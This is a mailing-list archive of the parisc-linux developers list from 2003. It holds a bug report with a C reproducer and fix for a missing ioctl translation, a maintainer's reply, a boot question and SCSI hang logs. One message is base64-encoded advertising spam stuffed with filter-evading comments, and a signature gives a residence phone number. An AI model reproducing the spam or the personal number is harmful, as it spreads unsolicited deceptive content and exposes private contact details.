<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2655.35">
<TITLE>Problem with SCSI_IOCTL_GET_PCI ioctl</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi All,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I found a problem with ioctl =
SCSI_IOCTL_GET_PCI. This ioctl returns the slot name. I got the =
following error upon using this ioctl. The program can reproduce this =
error. This problems is not there on IA64 kernels.</FONT></P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<B><I> =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</I></B><I></I> <FONT =
COLOR=3D"#FF0000" SIZE=3D2 FACE=3D"Arial">sys32_ioctl: Unknown cmd =
fd(3) cmd(00005387) arg(faf00370)</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I found this problem in the kernel =
version 2.4.20-pa18 and was able to reproduce the problem on =
2.4.22-pa3. I am not sure if this problem is fixed yet in 2.6.X =
</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">This error can be reproduced using the =
following program.</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">/*BEGIN PROGRAM*/</FONT></B>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">#include &lt;stdio.h&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">#include &lt;fcntl.h&gt;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">main ()</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">{</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int =
tst;</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct file =
*fd;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">typedef struct sg_scsi_id { </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; int =
host_no;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; int =
channel;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; int =
scsi_id;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; int lun;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; int =
scsi_type;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; short =
h_cmd_per_lun;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; short =
d_queue_depth;</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&nbsp;&nbsp;&nbsp; int =
unused[2];&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">} sg_scsi_id_t; </FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">struct sg_scsi_id sg_info;</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">char slot_name[16];</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">fd=3Dopen(&quot;/dev/sg0&quot;,O_RDWR);</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">printf(&quot;fd=3D%d\n&quot;,fd);</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
tst=3Dioctl(fd, 0x2276, &amp;sg_info);</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
printf(&quot;return from GET_SCSI_ID=3D%d\n&quot;,tst);</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
tst=3Dioctl(fd, 0x5387, slot_name);</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
printf(&quot;return from SCSI_IOCTL_GET_PCI=3D%d, =
%s\n&quot;,tst,slot_name);</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">}</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">/*</FONT><B><FONT SIZE=3D2 =
FACE=3D"Arial"> END PROGRAM</FONT></B> <FONT SIZE=3D2 =
FACE=3D"Arial">*/</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Kernel:</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith# uname -a</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Linux oak 2.4.22-pa3 #1 Thu Sep 18 =
23:19:58 IST 2003 parisc64 unknown</FONT>
</P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Output after running the =
program:</FONT></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">oak:/home/sranjith# ./a.out</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">fd=3D3</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">return from GET_SCSI_ID=3D0</FONT>
<BR><FONT COLOR=3D"#FF0000" SIZE=3D2 FACE=3D"Arial">sys32_ioctl: =
Unknown cmd fd(3) cmd(00005387) arg(faf00370)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">return from SCSI_IOCTL_GET_PCI=3D-1, =
</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I traced this error down to</FONT><B> =
<FONT COLOR=3D"#FF00FF" SIZE=3D2 =
FACE=3D"Arial">ioctl32.c</FONT></B><FONT SIZE=3D2 FACE=3D"Arial"> line =
no. ~ 3056 to 3063</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">/* Big S */</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">COMPATIBLE_IOCTL(SCSI_IOCTL_GET_IDLUN)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">COMPATIBLE_IOCTL(SCSI_IOCTL_DOORLOCK)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">COMPATIBLE_IOCTL(SCSI_IOCTL_DOORUNLOCK)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">COMPATIBLE_IOCTL(SCSI_IOCTL_TEST_UNIT_READY)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">COMPATIBLE_IOCTL(SCSI_IOCTL_TAGGED_ENABLE)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">COMPATIBLE_IOCTL(SCSI_IOCTL_TAGGED_DISABLE)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">COMPATIBLE_IOCTL(SCSI_IOCTL_GET_BUS_NUMBER)</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">COMPATIBLE_IOCTL(SCSI_IOCTL_SEND_COMMAND)</FONT>
<BR><B><I><FONT COLOR=3D"#FF00FF" SIZE=3D2 =
FACE=3D"Arial">COMPATIBLE_IOCTL(SCSI_IOCTL_GET_PCI) &nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*This entry is missing in =
the ioctl translation table*/</FONT></I></B>
<BR><FONT SIZE=3D2 FACE=3D"Arial">/* Big V */</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">COMPATIBLE_IOCTL(VT_SETMODE)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">COMPATIBLE_IOCTL(VT_GETMODE)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">COMPATIBLE_IOCTL(VT_GETSTATE)</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">COMPATIBLE_IOCTL(VT_OPENQRY)</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">The above entry fixed the problem. I =
am surprised that ioctls code wasn't tested. When I see the code. This =
seems to be the last ioctl which was added.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I am not sure if I should post this =
here, please let me know if I am wrong.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">with warm regards,</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Ranjith Sudarsanan</FONT>
</P>

<P><FONT SIZE=3D2 =
FACE=3D"Arial">--------------------------------------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Ranjith Sudarsanan</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Rage</FONT><FONT SIZE=3D2 =
FACE=3D"Arial"> Team</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">30CA, Cunningham Road</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Bangalore</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Off: 91-80-205</FONT> <FONT SIZE=3D2 =
FACE=3D"Arial">3190</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Res: 91-80-522 2577 </FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">web: </FONT><A =
HREF=3D"http://nt2651.india.hp.com:8080/"><U><FONT COLOR=3D"#0000FF" =
SIZE=3D2 FACE=3D"Arial">http://nt2651.india.hp.com:8080/</FONT></U></A>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">--------------------------------------</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">&quot;</FONT><FONT SIZE=3D2 =
FACE=3D"Arial">When the head bows, it meets the heart and that =
head</FONT> <FONT SIZE=3D2 FACE=3D"Arial">w</FONT><FONT SIZE=3D2 =
FACE=3D"Arial">hich has</FONT><FONT SIZE=3D2 FACE=3D"Arial"></FONT> =
<FONT SIZE=3D2 FACE=3D"Arial">met</FONT><FONT SIZE=3D2 =
FACE=3D"Arial"></FONT> <FONT SIZE=3D2 FACE=3D"Arial">the heart gets the =
crown!!!</FONT><FONT SIZE=3D2 FACE=3D"Arial"> - Sri Sri&quot;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C3812C.C6304B46--


From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with SCSI_IOCTL_GET_PCI ioctl
Date: Mon, 22 Sep 2003 18:58:16 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20030922175816.GW13172@parcelfarce.linux.theplanet.co.uk>
References: <A11077E28200D51182EA00D0B775525309AA614D@xin02.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622798 31413 80.91.229.3 (22 Nov 2014 02:19:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "SUDARSANAN,RANJITH (HP-India,ex2)" <ranjith_sudarsanan@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 22 11:58:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF26D4866
	for <parisc-linux@lists.parisc-linux.org>; Mon, 22 Sep 2003 11:58:17 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A1Uwy-0001FR-Lc; Mon, 22 Sep 2003 18:58:16 +0100
Content-Disposition: inline
In-Reply-To: <A11077E28200D51182EA00D0B775525309AA614D@xin02.india.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19580

On Mon, Sep 22, 2003 at 10:43:00PM +0530, SUDARSANAN,RANJITH (HP-India,ex2) wrote:
> I traced this error down to ioctl32.c line no. ~ 3056 to 3063
> 
> /* Big S */
> COMPATIBLE_IOCTL(SCSI_IOCTL_GET_IDLUN)
> COMPATIBLE_IOCTL(SCSI_IOCTL_DOORLOCK)
> COMPATIBLE_IOCTL(SCSI_IOCTL_DOORUNLOCK)
> COMPATIBLE_IOCTL(SCSI_IOCTL_TEST_UNIT_READY)
> COMPATIBLE_IOCTL(SCSI_IOCTL_TAGGED_ENABLE)
> COMPATIBLE_IOCTL(SCSI_IOCTL_TAGGED_DISABLE)
> COMPATIBLE_IOCTL(SCSI_IOCTL_GET_BUS_NUMBER)
> COMPATIBLE_IOCTL(SCSI_IOCTL_SEND_COMMAND)
> COMPATIBLE_IOCTL(SCSI_IOCTL_GET_PCI) 		/*This entry is missing in
> the ioctl translation table*/
> /* Big V */
> COMPATIBLE_IOCTL(VT_SETMODE)
> COMPATIBLE_IOCTL(VT_GETMODE)
> COMPATIBLE_IOCTL(VT_GETSTATE)
> COMPATIBLE_IOCTL(VT_OPENQRY)
> 
> The above entry fixed the problem. I am surprised that ioctls code wasn't
> tested. When I see the code. This seems to be the last ioctl which was
> added.
> 
> I am not sure if I should post this here, please let me know if I am wrong.

Right place to post it, right fix.  Patch committed as 2.4.22-pa8.
Could you send it in the form of a unified diff next time?  eg:

cvs diff -u arch/parisc/kernel/ioctl32.c

Thanks.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "answer" <OLIVE_ARTRIP@shaw.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hello
Date: Mon, 22 Sep 2003 23:01:01 -0400
Lines: 10
Approved: news@gmane.org
Message-ID: <20030923030055.8E1037F1@cuprel1.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416622798 31415 80.91.229.3 (22 Nov 2014 02:19:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:58 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 22 21:00:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2CD44875
	for <parisc-linux@parisc-linux.org>; Mon, 22 Sep 2003 21:00:56 -0600 (MDT)
Original-Received: from MIKESROOM (c66.190.11.191.spt.wi.charter.com [66.190.11.191])
	by cuprel1.hp.com (Postfix) with SMTP id 8E1037F1
	for <parisc-linux@parisc-linux.org>; Mon, 22 Sep 2003 20:00:55 -0700 (PDT)
X-Priority: 3 (normal)
Importance: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19581

PGh0bWw+DQo8Ym9keT4NCjwhLS1mbThpOW9wajg5LS0+DQo8cCBhbGlnbj0iY2VudGVyIj4gPCEt
LWZscmdodWktLT4NCjxhIGhyZWY9Imh0dHA6Ly93d3cuYmVoaW5kY2xpY2suY29tL2N0Ij4gPCEt
LWZsMXJnaHVpLS0+DQo8aW1nIHNyYz0iaHR0cDovL3d3dy5ncmFzcDd4MjQuY29tL3IuZ2lmIiB3
aWR0aD0iNDA1IiBoZWlnaHQ9IjI3MCI+PC9hPjwvcD4gPCEtLWdhc2Q0dWFzZC0tPg0KPCEtLWo4
ZnM5cGo5ODQtLT4NCjxwIGFsaWduPSJjZW50ZXIiPg0KJm5ic3A7PC9wPg0KPCEtLXNjYW1wZXIt
LT4NCjxwIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iaHR0cDovL3d3dy5iZWhpbmRjbGljay5j
b20vZC5odG1sIj50LS1hLS1rLS1lJm5ic3A7IC0tbS0tZSZuYnNwOw0Kby0tZi0tZjwvYT48L3A+
IDwhLS1ueXF1aXN0LS0+DQoNCjwvYm9keT4NCg0KPC9odG1sPg0K



From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jacek Chmielewski <jchmiel@kti.ae.poznan.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PALO do not start!
Date: Tue, 23 Sep 2003 16:30:01 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <881138831633.20030923163001@kti.ae.poznan.pl>
Reply-To: Jacek Chmielewski <jchmiel@kti.ae.poznan.pl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622799 31417 80.91.229.3 (22 Nov 2014 02:19:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 23 08:32:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from octopus.kti.ae.poznan.pl (octopus.kti.ae.poznan.pl [150.254.204.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47AFA483E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Sep 2003 08:32:14 -0600 (MDT)
Original-Received: from pyxis.kti.ae.poznan.pl ([150.254.204.45] helo=localhost)
	by octopus.kti.ae.poznan.pl with esmtp (Exim 3.35 #1 (Debian))
	id 1A1oBA-0000f4-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Sep 2003 16:30:12 +0200
X-Mailer: The Bat! (v1.61)
X-Priority: 3 (Normal)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19582

Hi

I managed to install Debian on my HP 9000/J200 box (I used DHCP server and
netinstall lifimage). The installation procedure passed without problems. I
created three partitions:
/dev/sda1  *  1    4    16461  f0  Linux/PA-RISC boot
/dev/sda2     5   34   123690  82  Linux swap
/dev/sda3  * 35  277  1001889  83  Linux

After the reboot I get the following result:

Booting...
Boot IO Dependent Code (IODC) revision 1
HARD Booted.

... and everything nothing happens. I assume that I should see PALO
starting from the /dev/sda1 partition, but it don't want to start.

What could be possibly wrong?
Is there any solution or workaround for this problem?

Best regards
  Jacek




From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dub@latnet.lv
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] System hangs after SCSI problems
Date: Wed, 24 Sep 2003 18:25:47 +0300 (EEST)
Lines: 108
Approved: news@gmane.org
Message-ID: <1064417147.3f71b77b8406a@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=KOI8-R
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622799 31419 80.91.229.3 (22 Nov 2014 02:19:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 09:25:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.latnet.lv (mail.latnet.lv [159.148.108.208])
	by dsl2.external.hp.com (Postfix) with SMTP id BD6D9483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Sep 2003 09:25:52 -0600 (MDT)
Original-Received: (qmail 5763 invoked from network); 24 Sep 2003 15:25:47 -0000
Original-Received: from unknown (HELO sisenis.latnet.lv) (159.148.108.1)
  by mail.latnet.lv with SMTP; 24 Sep 2003 15:25:47 -0000
Original-Received: (qmail 14603 invoked by uid 33); 24 Sep 2003 15:25:47 -0000
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 212.93.96.158
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19583

Hi,

I run Debian vmlinux-parisc-2.4.20-32-smp on K210. Not recently I faced a
strange hang situation. Host stopped responding both from network and console, 
ethernet port remained up on link level. In syslog.log and kernel.log I see scsi
problems.

After restarting all disks are OK (one of mirror partitions was resynced manually). 

Thank you in advance for any comments!

BR,
Dub

syslog.log

Sep 22 18:00:32 myhost4 kernel: scsi : aborting command due to timeout : pid
10399653, scsi1, chann
el 0, id 2, lun 0 Write (10) 00 00 d0 db 90 00 00 08 00
Sep 22 18:00:34 myhost4 kernel: ncr53c8xx_abort: pid=10399653
serial_number=10399664 serial_number_
at_timeout=10399664
Sep 22 18:00:34 myhost4 kernel: SCSI host 1 abort (pid 10399653) timed out -
resetting
Sep 22 18:00:34 myhost4 kernel: SCSI bus is being reset for host 1 channel 0.
Sep 22 18:00:34 myhost4 kernel: ncr53c8xx_reset: pid=10399653 reset_flags=2
serial_number=10399664
serial_number_at_timeout=10399664
Sep 22 18:00:35 myhost4 kernel: ncr53c720-1-<2,*>: FAST-10 WIDE SCSI 20.0 MB/s
(100 ns, offset 8)
Sep 22 18:00:35 myhost4 kernel: ncr53c720-1-<1,*>: FAST-10 WIDE SCSI 20.0 MB/s
(100 ns, offset 8)
Sep 22 18:00:35 myhost4 kernel: ncr53c720-1-<4,*>: FAST-10 WIDE SCSI 20.0 MB/s
(100 ns, offset 8)
Sep 22 18:03:35 myhost4 kernel: ncr53c720-1-<3,*>: FAST-10 WIDE SCSI 20.0 MB/s
(100 ns, offset 8)


kernel.log

Sep 22 17:53:18 myhost4 kernel: scsi : aborting command due to timeout : pid
10397795, scsi1, chann
el 0, id 1, lun 0 Write (10) 00 00 93 2c 60 00 00 18 00 
Sep 22 17:53:18 myhost4 kernel: ncr53c8xx_abort: pid=10397795
serial_number=10397806 serial_number_
at_timeout=10397806
Sep 22 17:53:18 myhost4 kernel: scsi : aborting command due to timeout : pid
10397797, scsi1, chann
el 0, id 2, lun 0 Write (10) 00 00 d0 e4 00 00 00 08 00 
Sep 22 17:53:18 myhost4 kernel: ncr53c8xx_abort: pid=10397797
serial_number=10397808 serial_number_
at_timeout=10397808
Sep 22 17:53:18 myhost4 kernel: scsi : aborting command due to timeout : pid
10397798, scsi1, chann
el 0, id 2, lun 0 Write (10) 00 00 d0 e4 10 00 00 08 00 
Sep 22 17:53:18 myhost4 kernel: ncr53c8xx_abort: pid=10397798
serial_number=10397809 serial_number_
at_timeout=10397809
Sep 22 17:53:18 myhost4 kernel: ncr53c720-1: abort ccb=4f319000 (cancel)
Sep 22 17:53:18 myhost4 kernel: scsi : aborting command due to timeout : pid
10397803, scsi1, chann
el 0, id 2, lun 0 Write (10) 00 00 d0 e6 20 00 00 08 00 
Sep 22 17:53:18 myhost4 kernel: ncr53c8xx_abort: pid=10397803
serial_number=10397814 serial_number_
at_timeout=10397814
Sep 22 17:53:18 myhost4 kernel: ncr53c720-1: abort ccb=4d7a4800 (cancel)
Sep 22 17:53:19 myhost4 kernel: scsi : aborting command due to timeout : pid
10397804, scsi1, chann
el 0, id 4, lun 0 Write (10) 00 00 00 09 2e 00 00 08 00 
Sep 22 17:53:19 myhost4 kernel: ncr53c8xx_abort: pid=10397804
serial_number=10397815 serial_number_
at_timeout=10397815
Sep 22 17:53:19 myhost4 kernel: ncr53c720-1: abort ccb=3cb4f800 (cancel)
Sep 22 17:53:19 myhost4 kernel: scsi : aborting command due to timeout : pid
10397805, scsi1, chann
el 0, id 1, lun 0 Write (10) 00 00 11 ec d8 00 00 08 00 
Sep 22 17:53:19 myhost4 kernel: ncr53c8xx_abort: pid=10397805
serial_number=10397816 serial_number_
at_timeout=10397816
Sep 22 17:53:19 myhost4 kernel: ncr53c720-1: abort ccb=4fb1d000 (cancel)
Sep 22 17:53:19 myhost4 kernel: SCSI host 1 abort (pid 10397795) timed out -
resetting
Sep 22 17:53:19 myhost4 kernel: SCSI bus is being reset for host 1 channel 0.
Sep 22 17:53:19 myhost4 kernel: ncr53c8xx_reset: pid=10397795 reset_flags=2
serial_number=10397806 
serial_number_at_timeout=10397806
Sep 22 17:53:19 myhost4 kernel: ncr53c720-1-<3,*>: FAST-10 WIDE SCSI 20.0 MB/s
(100 ns, offset 8)
Sep 22 17:53:19 myhost4 kernel: ncr53c720-1-<4,*>: FAST-10 WIDE SCSI 20.0 MB/s
(100 ns, offset 8)
Sep 22 17:53:19 myhost4 kernel: ncr53c720-1-<1,*>: FAST-10 WIDE SCSI 20.0 MB/s
(100 ns, offset 8)
Sep 22 17:53:19 myhost4 kernel: ncr53c720-1-<2,*>: FAST-10 WIDE SCSI 20.0 MB/s
(100 ns, offset 8)
Sep 22 18:00:32 myhost4 kernel: scsi : aborting command due to timeout : pid
10399653, scsi1, chann
el 0, id 2, lun 0 Write (10) 00 00 d0 db 90 00 00 08 00 
Sep 22 18:00:34 myhost4 kernel: ncr53c8xx_abort: pid=10399653
serial_number=10399664 serial_number_
at_timeout=10399664
Sep 22 18:00:34 myhost4 kernel: SCSI host 1 abort (pid 10399653) timed out -
resetting
Sep 22 18:00:34 myhost4 kernel: SCSI bus is being reset for host 1 channel 0.
